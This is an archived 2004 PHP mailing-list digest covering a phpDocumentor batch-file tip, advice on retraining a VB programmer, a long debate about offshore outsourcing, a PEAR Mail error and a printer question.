phpDocumentor? In-Reply-To: <40E18954.6030603@adnet-sys.com> Message-ID: <008301c45df1$2d1cf330$e98d3818@oberon1> Phillip Powell writes: "Anyone here ever use phpDocumentor?" "Has anyone ever used this documenting tool before, if so, I could use a bit more guidance than the tutorials seem to give." You run phpDocumentor cli style from a script ( such as a .bat file in windows -- from a command line prompt) I will try and spare everyone all the gruesome details of my particular batch file and just note some lines from it (the .bat file) which may be of interest to you. SET phpCli=J:\php\cli\php.exe ... ECHO -------------------------------------------------------------------------- ---- ECHO Select Ini-File [default is phpDocumentor.ini] ECHO -------------------------------------------------------------------------- ---- ECHO # 0: phpDocumentor.ini SET count=0 FOR /R user %%I IN (*.ini) DO ( SET /a count+=1 CALL :exec ECHO # %%count%%: %%~nI%%~xI ) :LOOP_1 :: SET /P prompts for input and sets the variable :: to whatever the user types SET iniNr= SET /P iniNr=Type a number and press Enter[0]: :: Use default IF '%iniNr%'=='' ( SET iniNr=0 ) ... "%phpCli%" phpdoc -c "%iniFile%" Hope that points you in the right direction T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From sm11szw02 at sneakemail.com Tue Jun 29 12:10:40 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Tue, 29 Jun 2004 12:10:40 -0400 Subject: [nycphp-talk] suggestions for re-training of a junior VB/.net programmer Message-ID: <9736-20164@sneakemail.com> I have a friend who hired a junior programmer/relative (!) who has only worked with VB and VB/.net on IIS. He recognizes the need to re-track this person onto PHP on his existing LAMP platform. He wants a short-time-duration (inside 6 months) plan to bring the programmer up to speed, so he can assume similar level responsibilities on LAMP. The idea is to avoid expensive text-book style training, and also avoid 1:1 dedication from the senior people at this stage (he wants to get him at least to the junior scripter level first). I am not sure howmuch of a self-starter this person is, but that is what needs to be determined IMHO. I suggested he send him to NYPHP meetings and have him give briefings to the company staff afterwards, perhaps do demos for them, etc. I want to suggest workshops and training seminars as well. I would like to refer him to install fests that are newbie-friendly (SuSe, BSD, RH ok) I could even see him benefitting from LAN parties that are *nix based, if possible. Can you all suggest where to look for inside-6-months training / experience activities, so I can pass along? Perhaps there is a website with local NY/NJ activities like this, or a central listing of local AMP user groups? From rahmin at insite-out.com Tue Jun 29 12:35:03 2004 From: rahmin at insite-out.com (Rahmin Pavlovic) Date: Tue, 29 Jun 2004 12:35:03 -0400 Subject: [nycphp-talk] PHP cron mgmt Message-ID: <200406291635.i5TGZ3N1009365@webmail5.megamailservers.com> An embedded and charset-unspecified text was scrubbed... Name: not available URL: From phillip.powell at adnet-sys.com Tue Jun 29 12:45:08 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Tue, 29 Jun 2004 12:45:08 -0400 Subject: [nycphp-talk] Anyone here ever use phpDocumentor? In-Reply-To: <008301c45df1$2d1cf330$e98d3818@oberon1> References: <008301c45df1$2d1cf330$e98d3818@oberon1> Message-ID: <40E19C94.3090802@adnet-sys.com> Tim Gales wrote: >Phillip Powell writes: >"Anyone here ever use phpDocumentor?" > >"Has anyone ever used this documenting tool before, >if so, I could use a bit more guidance than the >tutorials seem to give." > >You run phpDocumentor cli style from a >script ( such as a .bat file in windows -- >from a command line prompt) > >I will try and spare everyone all the >gruesome details of my particular >batch file and just note some lines >from it (the .bat file) which may be >of interest to you. > > SET phpCli=J:\php\cli\php.exe >... >ECHO >-------------------------------------------------------------------------- >---- >ECHO Select Ini-File [default is phpDocumentor.ini] >ECHO >-------------------------------------------------------------------------- >---- >ECHO # 0: phpDocumentor.ini >SET count=0 >FOR /R user %%I IN (*.ini) DO ( > SET /a count+=1 > CALL :exec ECHO # %%count%%: %%~nI%%~xI >) > >:LOOP_1 >:: SET /P prompts for input and sets the variable >:: to whatever the user types >SET iniNr= >SET /P iniNr=Type a number and press Enter[0]: > >:: Use default >IF '%iniNr%'=='' ( > SET iniNr=0 >) > >... > >"%phpCli%" phpdoc -c "%iniFile%" > >Hope that points you in the right >direction > > >T. Gales & Associates >'Helping People Connect with Technology' > >http://www.tgaconnect.com > > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > Yep, that and also realizing that I can use command-line PHP to run the phpdoc.php script and that seems to generate just as well! Thanx! Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From jeff at newnewmedia.com Tue Jun 29 16:27:55 2004 From: jeff at newnewmedia.com (Jeff Loiselle) Date: Tue, 29 Jun 2004 16:27:55 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing Message-ID: <40E1D0CB.3050504@newnewmedia.com> Sorry guys. I read this and absolutely needed to hear some opinions on this subject. http://www.wired.com/wired/archive/12.07/view.html?pg=2 -- Jeff Loiselle - http://www.newnewmedia.com/~jeff From csnyder at chxo.com Tue Jun 29 16:45:09 2004 From: csnyder at chxo.com (Chris Snyder) Date: Tue, 29 Jun 2004 16:45:09 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E1D0CB.3050504@newnewmedia.com> References: <40E1D0CB.3050504@newnewmedia.com> Message-ID: <40E1D4D5.6050906@chxo.com> Jeff Loiselle sent a Wired News story about someone who outsourced his own job... I'm sure my employers feel that I've done the same thing, sometimes. Them: "So what does this foo() method do?" Me: "Uhhhh, it should, ummm, you know, foo." Them: "Uh-huh." Me: "I haven't looked at that code in weeks, let me get back to you..." Anyway, what's the difference between this guy and a salesman who makes a huge commission by landing a contract that someone else is in charge of fulfilling? From Cbielanski at inta.org Tue Jun 29 16:54:04 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Tue, 29 Jun 2004 16:54:04 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing Message-ID: > -----Original Message----- > From: Chris Snyder [mailto:csnyder at chxo.com] ... > Anyway, what's the difference between this guy and a salesman > who makes > a huge commission by landing a contract that someone else is > in charge > of fulfilling? Not one, IMO. The battle between domestic and foreign labor seems to be the rock-bottom of the dot-com bubble having burst. The facts are that foregin labor markets have always been undermining the efforts of domestic laborers, regardless of industry or profession. The thing that has everyone pissed off is that we wish we we worked in an industry where loyalty counts more than the bottom line. And it just doesn't. Anyone comfortable in the idea that a successful business can operate on that moral is either owner of their own business, or staged for a very rude awakening. Thanks, Chris Bielanski Web Programmer, International Trademark Association, 1133 Avenue of the Americas, 33rd Floor New York, NY 10036 +1 (212) 642-1745, f: +1 (212) 768-7796 mailto:cbielanski at inta.org, www.inta.org INTA -- 125 Years of Excellence From amiller at criticalmedia.biz Tue Jun 29 16:54:16 2004 From: amiller at criticalmedia.biz (Alan T. Miller) Date: Tue, 29 Jun 2004 13:54:16 -0700 Subject: [nycphp-talk] Off Topic: International Outsourcing References: <40E1D0CB.3050504@newnewmedia.com> <40E1D4D5.6050906@chxo.com> Message-ID: <005801c45e1b$3df0b690$0a01a8c0@webdev> > Anyway, what's the difference between this guy and a salesman who makes > a huge commission by landing a contract that someone else is in charge > of fulfilling? Nothing is wrong with this picture, until his employer realizes that he does not need the middleman and can outsource the work himself. Then of course the company who hired this particular employer realizes the same holds true for him. Why are they paying this employer when they can outsource the work themselves. Before you know it, the only work left is work helping people outsource, and eventually once everyone is in the outsourcing business, we can all run around like real estate agents chasing what little action is left. From tgales at tgaconnect.com Tue Jun 29 17:04:19 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Tue, 29 Jun 2004 17:04:19 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <005801c45e1b$3df0b690$0a01a8c0@webdev> Message-ID: <000901c45e1c$a5e0b9c0$e98d3818@oberon1> Alan T. Miller writes: > > Anyway, what's the difference between this guy and a salesman who > > makes a huge commission by landing a contract that someone > else is in > > charge of fulfilling? > > Nothing is wrong with this picture, until his employer > realizes that he does not need the middleman and can > outsource the work himself. or thinks he can -- whoops missed that gaping security hole. Maybe we should see if we can get back that 'useless' middleman to do code reviews and prevent security breaches in the future. > Then of course the company who > hired this particular employer realizes the same holds true > for him. Why are they paying this employer when they can > outsource the work themselves. Before you know it, the only > work left is work helping people outsource, and eventually > once everyone is in the outsourcing business, we can all run > around like real estate agents chasing what little action is left. > > T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From mitchy at spacemonkeylabs.com Tue Jun 29 17:25:11 2004 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Tue, 29 Jun 2004 17:25:11 -0400 Subject: [nycphp-talk] suggestions for re-training of a junior VB/.net programmer In-Reply-To: <9736-20164@sneakemail.com> References: <9736-20164@sneakemail.com> Message-ID: <40E1DE37.6040802@spacemonkeylabs.com> inforequest wrote: > Can you all suggest where to look for inside-6-months training / > experience activities, so I can pass along? Perhaps there is a website > with local NY/NJ activities like this, or a central listing of local > AMP user groups? Give him an old machine, tell him to fdisk and build an intranet on it. Pick the distro, however I'd recommend sticking to one of he 'biggies' (fedora, debian). It needs to have mysql, phpMyAdmin, apache and php on it for starters. If he has serious database background I would strongly urge getting him into PostgreSQL, as it will provide an environment that may be a better fit for his expectations (and possibly yours, although YMMV). PGAdminIII is a great graphical cross-platform tool as well, he should be comfortable with that. Oh, another cool thing would be that when he gets the machine up and running, init to runlevel 3 and make it a server - then he will have to work remotely through ssh sessions (and could then take on the linux desktop at another time). The books that I can recommend are: * PHP Anthology (versions I and II) by Harry Fuecks (SitePoint) for PHP programming knowledge, strong emphasis on OO methodologies and patterns * Essential PHP Tools by our very own David Sklar (Apress) also is an excellent book, with strong emphasis on leveraging existing libraries like PEAR * Hardening Apache by Tony Mobily (Apress) for webserver configuration and logging, and other important fundamentals that go beyond security * Running Linux by a cast of thousands (O'Reilly) for installing, configuring and managing a linux box * MySQL: The Definitive Guide to Using, Programming , and Administering MySQL 4 by Paul Dubois (Sams) for dealing with that pesky database * Mastering phpMyAdmin by Marc Delisle (Packt Publishing) for really learning how to configure phpMyAdmin (really!) Not all of these books are essential, however the Anthology series will give him an excellent foundation for transitioning his knowledge to PHP technologies. Mastering phpMyAdmin may be less important, but could be the hand-holding quickstart to configuring a PHP application for a database - and that may be the hand he needs to cross that bridge, depending on his comprehension and learning skills. Classes will only slow down the learning process, and delay your assesment of whether he's picking it up or not. Give him dirty hands, with a bunch of attainable goals and something to gloat over when he is done; and he will go after it aggressively, or show you that he's not really into the challenge at all. This is all MHO so take it with a grain of salt. Could be an opportunity to kickstart someone's career (in PHPland, at least) at a great advantage to you, or a catastrophic diversion of resources! I wish you the best of luck ;) -- Mitch From ashaw at iifwp.org Tue Jun 29 17:26:48 2004 From: ashaw at iifwp.org (Allen Shaw) Date: Tue, 29 Jun 2004 17:26:48 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing References: <40E1D0CB.3050504@newnewmedia.com> Message-ID: <009801c45e1f$c97bafe0$7201a8c0@iifwp.local> I see that before I can even finish my "immediate" reply, this is a hot topic already. :o) I'm a little new in this group (though I had a great time at Outback last week's meeting) so I don't know if I'm risking something here, but I will say that I myself have good experiences and no philisophical problem with international (and sometimes domestic) outsourcing. In my work I am asked to do many things, from office network management and tech support to application design and coding -- I use mostly PHP to get done the job of managing and developing our online database, and I use lots of time and attention taking care of tech support needs in our 30-person office. It's been frustrating for me in many cases when I see that the non-profit I work for has needs in my area but no funds (and perhaps no vision) to expand my "department" into more than just me. Recently I've realized that I can do a lot more in my area by securing a small budget and then using it to get a lot of my coding done very cheaply. The benefits are several for me: 1) I get more good stuff done that I want to do; 2) I learn more about managing multi-person projects; 3) my whole outlook at the programming I do is becoming more broad, less home-grown, and less in-grown. Without this resource, most of these things would probably never happen. On the philisophical side, I have no problem with work going where it is best done for the best price. Of course it's important to know what work needs to be done and the meaning of "best done" -- you can't outsource everything because a coder a thousand miles away is not going to know the ins and outs of your company culture and policy, and he won't have real ownership of the whole picture. Tim's got the point: > ... whoops missed that gaping security > hole. Maybe we should see if we can get back that > 'useless' middleman to do code reviews and prevent > security breaches in the future. If I think of myself as a coder who writes PHP code to conform to somebody else's orders, then I'm in danger when coding jobs start moving out of my reach. But if I think of myself as a problem-solver who sometimes (or most of the time) writes code to fullfil a need, then I'm happy as a lark when the coding jobs can be handed off and I get more time to focus on new problems to solve or on improving existing solutions. Alan Miller: > Before you know it, the only work left is work helping people > outsource, and eventually once everyone is in the outsourcing business, we > can all run around like real estate agents chasing what little action is > left. There will always be lots of action left. The Open Source ideology itself was decried by some as the impending doom of programming-for-profit. But the fact is that there are always jobs that require real ownership, real skill, real creativity and thinking, and those jobs can't be handed off to an outside bidder, and getting those jobs done well will always be worth enough to put food on your family's table. I don't mean to rant, but I hear and am bothered by the "protect our jobs" idea in many industries, and I think we are probably doing more to hold ourselves back with that philosophy than actually improve our real quality of life. My four cents, I guess. Hope it's appropriate here. - Allen ----- Original Message ----- From: "Jeff Loiselle" To: Sent: Tuesday, June 29, 2004 4:27 PM Subject: [nycphp-talk] Off Topic: International Outsourcing > Sorry guys. I read this and absolutely needed to hear some opinions on > this subject. > > http://www.wired.com/wired/archive/12.07/view.html?pg=2 > > -- > Jeff Loiselle - http://www.newnewmedia.com/~jeff > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From jonbaer at jonbaer.net Tue Jun 29 17:32:18 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Tue, 29 Jun 2004 17:32:18 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <000901c45e1c$a5e0b9c0$e98d3818@oberon1> References: <000901c45e1c$a5e0b9c0$e98d3818@oberon1> Message-ID: <40E1DFE2.20300@jonbaer.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I agree w/ Tim, its a massive security issue (its been popping up alot latley, backdoors in routers (come on people, it didnt just "land" there) ... some bugs have been good ones due to IO (WRT54G) but I dont think Id trust it 100%. The funny part is that companies are extremely reluctant to spend on security. I would be too if nothing happened, id feel it as a waste of resources and money for preventitive measures I didn thave to take. On the flip side the worry is that we dont want tech to be so closed that other countries build themselves into superior developers (thus open trade for the market). Its a mess :-) - - Jon | or thinks he can -- whoops missed that gaping security | hole. Maybe we should see if we can get back that | 'useless' middleman to do code reviews and prevent | security breaches in the future. - -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Cygwin) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFA4d/hQdvbi5oMr0cRAtiAAJkBbM+iix7qn+IYxJw7lK0PtqA7yACgsOim xDXmrOXSmR0+t4EhP7VJ074= =N2jg -----END PGP SIGNATURE----- From jeff at newnewmedia.com Tue Jun 29 17:38:00 2004 From: jeff at newnewmedia.com (Jeff Loiselle) Date: Tue, 29 Jun 2004 17:38:00 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E1DFE2.20300@jonbaer.net> References: <000901c45e1c$a5e0b9c0$e98d3818@oberon1> <40E1DFE2.20300@jonbaer.net> Message-ID: <40E1E138.6020100@newnewmedia.com> On which side does everyone think this will have the biggest impact: junior or senior positions? Does anyone think it will create a gap in the job market that will be difficult to cross? -- Jeff Loiselle - http://www.newnewmedia.com/~jeff From jonbaer at jonbaer.net Tue Jun 29 17:37:34 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Tue, 29 Jun 2004 17:37:34 -0400 Subject: [nycphp-talk] suggestions for re-training of a junior VB/.net programmer In-Reply-To: <40E1DE37.6040802@spacemonkeylabs.com> References: <9736-20164@sneakemail.com> <40E1DE37.6040802@spacemonkeylabs.com> Message-ID: <40E1E11E.8090108@jonbaer.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 There is a chapter in that book (11 I think) which talks about the PHP internals which I found very interesting and well explained (that Chapter should be freely distributed :-) I end up unfortunatley skimming more PHP books now for items that are not always found in other books. Id recommend that book + the Cookbook (*alot* of people coming from any programming background can usually find the cookbooks - like Java Almanac, Perl HowTo, PHP Cookbook) quick reads to give an idea of the basics (arrays, lists, printing, functions, classes, etc). - - Jon | * Essential PHP Tools by our very own David Sklar (Apress) also is an | excellent book, with strong emphasis on leveraging existing libraries | like PEAR - -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Cygwin) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFA4eEeQdvbi5oMr0cRAm3lAJ4vieSlsZhlcKeQkN737VwiGl3fkACeMtrU HStPhN5RYDFTO8su6Ye9QkE= =E09W -----END PGP SIGNATURE----- From amiller at criticalmedia.biz Tue Jun 29 17:51:52 2004 From: amiller at criticalmedia.biz (Alan T. Miller) Date: Tue, 29 Jun 2004 14:51:52 -0700 Subject: [nycphp-talk] Off Topic: International Outsourcing References: <40E1D0CB.3050504@newnewmedia.com> <009801c45e1f$c97bafe0$7201a8c0@iifwp.local> Message-ID: <009401c45e23$4966d9c0$0a01a8c0@webdev> > I don't mean to rant, but I hear and am bothered by the "protect our jobs" > idea in many industries, and I think we are probably doing more to hold > ourselves back with that philosophy than actually improve our real quality > of life. I never meant to make the "protect our jobs" argument. In fact I have been known to outsource a thing or two myself. As for me, it is disheartening to know that this field in which I have invested so much time and effort into is going away. It's not surpising, just disheartening. It is one of the few fields I know of that the longer you are in it, and the more experience you have, the less money you make, and the less secure your future is. This of course is not necessarily due to outsourcing, but younger cheaper workers fresh out of college who are willing to do anything to get their foot in the door, outsourcing is just the icing on the cake. Of course the common response is always... "yeah but when the gaping security hole is found who are they going to call". Not you of course, they will call the fresh graduate with a focus in Internet Security who is willing to work for nothing to get their foot in the door, or the overseas firm with a specialty to solve such problems. You fortunately are not in a position where your advanced PHP knowledge lies at the heart of your job, so from your perspective outsourcing is a great thing. However, the world only needs so many managers. As for me, I am working very hard to get away from being a developer for obvious reasons. The way I see it, you can never compete with someone who is happy to work for less than you feel you are worth. So I plan to shift focus myself, and get out while the getting is good. If I am lucky, I too will be able to take advantage of and exploit foreign workers at will. It's just like Marx pointed out many years ago, if you do not own the means of production and are in a position to wield that ownership to your own advantage and exploit others, you are at the butt end of a system for which you will always get screwed. From stephen at musgrave.org Tue Jun 29 18:01:05 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Tue, 29 Jun 2004 18:01:05 -0400 Subject: [nycphp-talk] Pear:Mail error confusion Message-ID: All - I am having some weird issues with Pear Mail. I've used it several times before but I have never had a problem like this. When instantiating the object: $mail =& Mail::factory('mail'); This is the error I get: "Warning: Problem with method call - please report this bug in.." I did a search for this and found that this error is common amongst other object classes. I did a search for this string within the PEAR code base that I have and didn't find it. Thanks, Stephen From ajai at bitblit.net Tue Jun 29 17:58:55 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Tue, 29 Jun 2004 17:58:55 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <009401c45e23$4966d9c0$0a01a8c0@webdev> References: <40E1D0CB.3050504@newnewmedia.com> <009801c45e1f$c97bafe0$7201a8c0@iifwp.local> <009401c45e23$4966d9c0$0a01a8c0@webdev> Message-ID: <40E1E61F.5040706@bitblit.net> Alan T. Miller wrote: >As for me, I am working very hard to get away from being a developer for >obvious reasons. The way I see it, you can never compete with someone who is >happy to work for less than you feel you are worth. So I plan to shift focus >myself, and get out while the getting is good. > I have been thinking along the same lines myself. Many times I have fanatasized about just getting out of IT completely and go work on a farm or something equally unrelated (Hell, plumbers make more money per hour in NYC than programmers!). -- Aj. Systems Administrator / Developer From jonbaer at jonbaer.net Tue Jun 29 18:05:10 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Tue, 29 Jun 2004 18:05:10 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E1E138.6020100@newnewmedia.com> References: <000901c45e1c$a5e0b9c0$e98d3818@oberon1> <40E1DFE2.20300@jonbaer.net> <40E1E138.6020100@newnewmedia.com> Message-ID: <40E1E796.3040904@jonbaer.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Well if you figure the guy gave out $12k of his $65k salary (~20%) ... 12,000 US Dollar = 552,180 Indian Rupee (12,000 Indian Rupee (INR) = 260.785 US Dollar (USD)) Cost per average apt. @ $100 per month (4,601.50 Indian Rupee) http://www.viviun.com/AD-1645/ covers a year of rent. Unfortunatley the remaining amount of salary of the offshorer probably went to just the rent alone for the year. :-\ I guess you need to live outside of the US for a while to really understand the offshoring business. - - Jon - -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Cygwin) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFA4eeWQdvbi5oMr0cRAlzhAJ9Cra/qKApvrq8sqUdFrzF64Sf3cQCgmIOl EZEHPjrTG40O91EY64wqjX8= =NnM5 -----END PGP SIGNATURE----- From jonbaer at jonbaer.net Tue Jun 29 18:06:43 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Tue, 29 Jun 2004 18:06:43 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E1E61F.5040706@bitblit.net> References: <40E1D0CB.3050504@newnewmedia.com> <009801c45e1f$c97bafe0$7201a8c0@iifwp.local> <009401c45e23$4966d9c0$0a01a8c0@webdev> <40E1E61F.5040706@bitblit.net> Message-ID: <40E1E7F3.4000609@jonbaer.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Im in the same boat, can we start a support group? - - Jon Ajai Khattri wrote: | Alan T. Miller wrote: | |> As for me, I am working very hard to get away from being a developer for |> obvious reasons. The way I see it, you can never compete with someone |> who is |> happy to work for less than you feel you are worth. So I plan to shift |> focus |> myself, and get out while the getting is good. |> | I have been thinking along the same lines myself. Many times I have | fanatasized about just getting out of IT completely and go work on a | farm or something equally unrelated (Hell, plumbers make more money per | hour in NYC than programmers!). | - -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Cygwin) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFA4efzQdvbi5oMr0cRAsE7AJ9NdbUQ8DS0WTGjqy+NGc4NWaDpKwCgqw8R VDmo8Wo0SKGgM+yo+fJZhLM= =37JF -----END PGP SIGNATURE----- From ashaw at iifwp.org Tue Jun 29 18:08:09 2004 From: ashaw at iifwp.org (Allen Shaw) Date: Tue, 29 Jun 2004 18:08:09 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing References: <40E1D0CB.3050504@newnewmedia.com><009801c45e1f$c97bafe0$7201a8c0@iifwp.local> <009401c45e23$4966d9c0$0a01a8c0@webdev> Message-ID: <00aa01c45e25$8ff7a930$7201a8c0@iifwp.local> Alan Miller: > I never meant to make the "protect our jobs" argument. Yeah, I hope I wasn't putting words in your mouth. I guess I was probably responding more to my perception of a common mindset than to your particular comment. It may be that many in this group and many in our industry in general are more broad-minded than that. - A. ----- Original Message ----- From: "Alan T. Miller" To: "NYPHP Talk" Sent: Tuesday, June 29, 2004 5:51 PM Subject: Re: [nycphp-talk] Off Topic: International Outsourcing > > > I don't mean to rant, but I hear and am bothered by the "protect our jobs" > > idea in many industries, and I think we are probably doing more to hold > > ourselves back with that philosophy than actually improve our real quality > > of life. > > I never meant to make the "protect our jobs" argument. In fact I have been > known to outsource a thing or two myself. As for me, it is disheartening to > know that this field in which I have invested so much time and effort into > is going away. It's not surpising, just disheartening. > > It is one of the few fields I know of that the longer you are in it, and the > more experience you have, the less money you make, and the less secure your > future is. This of course is not necessarily due to outsourcing, but younger > cheaper workers fresh out of college who are willing to do anything to get > their foot in the door, outsourcing is just the icing on the cake. > > Of course the common response is always... "yeah but when the gaping > security hole is found who are they going to call". Not you of course, they > will call the fresh graduate with a focus in Internet Security who is > willing to work for nothing to get their foot in the door, or the overseas > firm with a specialty to solve such problems. > > You fortunately are not in a position where your advanced PHP knowledge lies > at the heart of your job, so from your perspective outsourcing is a great > thing. However, the world only needs so many managers. > > As for me, I am working very hard to get away from being a developer for > obvious reasons. The way I see it, you can never compete with someone who is > happy to work for less than you feel you are worth. So I plan to shift focus > myself, and get out while the getting is good. > > If I am lucky, I too will be able to take advantage of and exploit foreign > workers at will. It's just like Marx pointed out many years ago, if you do > not own the means of production and are in a position to wield that > ownership to your own advantage and exploit others, you are at the butt end > of a system for which you will always get screwed. > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From tgales at tgaconnect.com Tue Jun 29 18:53:28 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Tue, 29 Jun 2004 18:53:28 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourcing is More Than a Few Letters Message-ID: <001401c45e2b$e85425d0$e98d3818@oberon1> I just don't get it. Why would companies who are being held hostage by closed source consulting companies want to take on the new burdens of creating super explicit level of service requirements (sometimes down to the module level) and reams and reams of technical specifications; and then later create acceptance test plans which cover minutia. Why not redirect that effort toward creating functional requirements which can be used to determine a close match to an existing open source product? If you are going to have to shift your focus from code creating to code reviewing (for security, quality, etc.) why not use that energy on open source code? I think that this outsourcing thing is just a faze. Companies will wake up and see that working with Open Source code is much more cost effective than getting caught up with more closed source code -- even when that closed source code is done cheaper offshore. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From ajai at bitblit.net Tue Jun 29 19:25:16 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Tue, 29 Jun 2004 19:25:16 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E1E7F3.4000609@jonbaer.net> References: <40E1D0CB.3050504@newnewmedia.com> <009801c45e1f$c97bafe0$7201a8c0@iifwp.local> <009401c45e23$4966d9c0$0a01a8c0@webdev> <40E1E61F.5040706@bitblit.net> <40E1E7F3.4000609@jonbaer.net> Message-ID: <40E1FA5C.2030900@bitblit.net> Jon Baer wrote: > Im in the same boat, can we start a support group? He he - sounds like a plan... There was an interesting piece in the Village Voice about how there will be many many jobs in the future but no careers anymore. Imagine spending four years doing a degree and leaving college to find there are no jobs in your industry. All those 20-somethings who did computers in the 90s are pretty screwed. I guess there was never really any clear-cut career path for programmers - junior -> intermediate -> senior and then you have to stop coding and be project leader (or some other hands-off management position). All the same, Im appalled people will pay more for a plumber than they will for a programmer. -- Aj. Systems Administrator / Developer (maybe farmer / beekeeper in future ;-) From phillip.powell at adnet-sys.com Tue Jun 29 19:39:39 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Tue, 29 Jun 2004 19:39:39 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Message-ID: <40E1FDBB.1020302@adnet-sys.com> Sorry, I've turned to everyone I know, and everyone I know knows Linux now (including me) and not XP. Barring reconfiguring everything to RH (dream, but not reality): We have two new XP-enabled machines here at work and neither will print using our existing HP LaserJet 2200 Series PCL 6. I downloaded the proper drivers from http://www.hp.com and attempted several reinstallations of printers, to no avail. Each time it will attempt to print, only to time out and throw a timeout-related error each time it tries to print: "The document has failed to print". Has anyone out there had experience working with both XP and HP LaserJet printers? I am on a serious time crunch and have to have this configured by morning and I'm stuck! Help! Thanx Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From webmaster at localnotion.com Tue Jun 29 19:39:04 2004 From: webmaster at localnotion.com (Matthew Terenzio) Date: Tue, 29 Jun 2004 19:39:04 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourcing is More Than a Few Letters In-Reply-To: <001401c45e2b$e85425d0$e98d3818@oberon1> References: <001401c45e2b$e85425d0$e98d3818@oberon1> Message-ID: <817EB9D7-CA25-11D8-A3BD-0003938BDF32@localnotion.com> I agree, but this awakening may not happen all at once or even fully within our lifetime. And I don't think it is cost effectiveness that will drive the awakening but a crippling breakdown from an attack on Microsoft machines across the world, leaving a large part of the business world helpless for a few hours or days. Then, world leaders will unite, and mandate Open Source as not an option but as a world security mandate. Back to sleep. zzzzzz On Jun 29, 2004, at 6:53 PM, Tim Gales wrote: > > I just don't get it. > > Why would companies who are being held > hostage by closed source consulting > companies want to take on the new burdens > of creating super explicit level of > service requirements (sometimes down > to the module level) and reams and > reams of technical specifications; > and then later create acceptance test > plans which cover minutia. > > Why not redirect that effort toward > creating functional requirements which > can be used to determine a close match > to an existing open source product? > > If you are going to have to shift your > focus from code creating to code reviewing > (for security, quality, etc.) why not use that > energy on open source code? > > I think that this outsourcing thing is > just a faze. Companies will wake up and > see that working with Open Source code is > much more cost effective than getting > caught up with more closed source code -- > even when that closed source code is done > cheaper offshore. > > T. Gales & Associates > 'Helping People Connect with Technology' > > http://www.tgaconnect.com > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From danielc at analysisandsolutions.com Tue Jun 29 19:50:12 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Tue, 29 Jun 2004 19:50:12 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 In-Reply-To: <40E1FDBB.1020302@adnet-sys.com> References: <40E1FDBB.1020302@adnet-sys.com> Message-ID: <20040629235012.GB12058@panix.com> Dude: Laser printers? Go away already! --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 